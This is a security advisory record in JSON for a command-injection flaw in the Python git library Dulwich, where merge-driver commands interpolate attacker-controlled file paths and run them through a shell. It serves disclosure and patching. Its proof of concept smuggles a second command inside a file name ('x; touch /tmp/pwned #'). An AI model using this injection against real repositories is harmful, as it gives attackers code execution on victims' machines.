{"id":"CVE-2026-42563","aliases":["GHSA-9277-mp7x-85jf","PYSEC-2026-2464"],"url":"https://o3.security/vulnerability/CVE-2026-42563","summary":"Dulwich Vulnerable to Command Injection via Merge Driver Path","details":"## Summary\n\nDulwich's `ProcessMergeDriver` substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the `%P` placeholder and executes it with `subprocess.run(..., shell=True)`. An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths.\n\n## Description\n\n- **Type:** Command Injection\n- **Source:** `merge.py` line 195 — path from merge tree (from repository content when merging untrusted branch)\n- **Sink:** `merge_drivers.py` lines 124–127 — `subprocess.run(cmd, shell=True)` where `cmd` includes path via `%P` placeholder\n- **Impact:** Arbitrary code execution when merging from a malicious repository. Requires the user to have a merge driver configured that uses the `%P` placeholder.\n\n## Resources\n\n- Repository: https://github.com/dulwich/dulwich\n- Vulnerable file: `dulwich/merge_drivers.py` (lines 119–129)\n\n## Proof of Concept\n\n```python\nfrom dulwich.attrs import GitAttributes, Pattern\nfrom dulwich.config import ConfigDict\nfrom dulwich.merge import merge_blobs\nfrom dulwich.objects import Blob\n\n# Merge driver with %P (path) - typical for custom merge tools\nconfig = ConfigDict()\nconfig.set((b\"merge\", b\"injectable\"), b\"driver\", b\"echo %P > %A\")\n\npatterns = [(Pattern(b\"*\"), {b\"merge\": b\"injectable\"})]\ngitattributes = GitAttributes(patterns)\n\nbase = Blob.from_string(b\"base\")\nours = Blob.from_string(b\"ours\")\ntheirs = Blob.from_string(b\"theirs\")\n\n# Malicious path from attacker-controlled git tree: injects \"touch /tmp/pwned\"\nmalicious_path = b\"x; touch /tmp/pwned #\"\n\nmerge_blobs(base, ours, theirs, path=malicious_path,\n            gitattributes=gitattributes, config=config)\n# => Executes: echo x; touch /tmp/pwned #\n# => Shell runs: echo x, then touch /tmp/pwned\n```\n\n## Fix\n[merge_drivers_shell_escape.patch](https://github.com/user-attachments/files/27016503/merge_drivers_shell_escape.patch)","published":"2026-06-10T21:47:14.927Z","modified":"2026-08-12T03:51:33.199054037Z","cvss":null,"epss":{"score":0.00555,"percentile":0.43799,"asOf":"2026-08-24"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"dulwich","fixedVersion":"1.2.5"}],"fix":{"url":"https://github.com/jelmer/dulwich/commit/e3331b3b3a122fc313460182f928f59723580b7b","label":"jelmer/dulwich@e3331b3"},"references":[{"type":"WEB","url":"https://github.com/jelmer/dulwich/releases/tag/dulwich-1.2.5"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42563.json"},{"type":"ADVISORY","url":"https://github.com/jelmer/dulwich/security/advisories/GHSA-9277-mp7x-85jf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42563"},{"type":"FIX","url":"https://github.com/jelmer/dulwich/commit/e3331b3b3a122fc313460182f928f59723580b7b"},{"type":"PACKAGE","url":"https://github.com/jelmer/dulwich"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:33.199054037Z"}}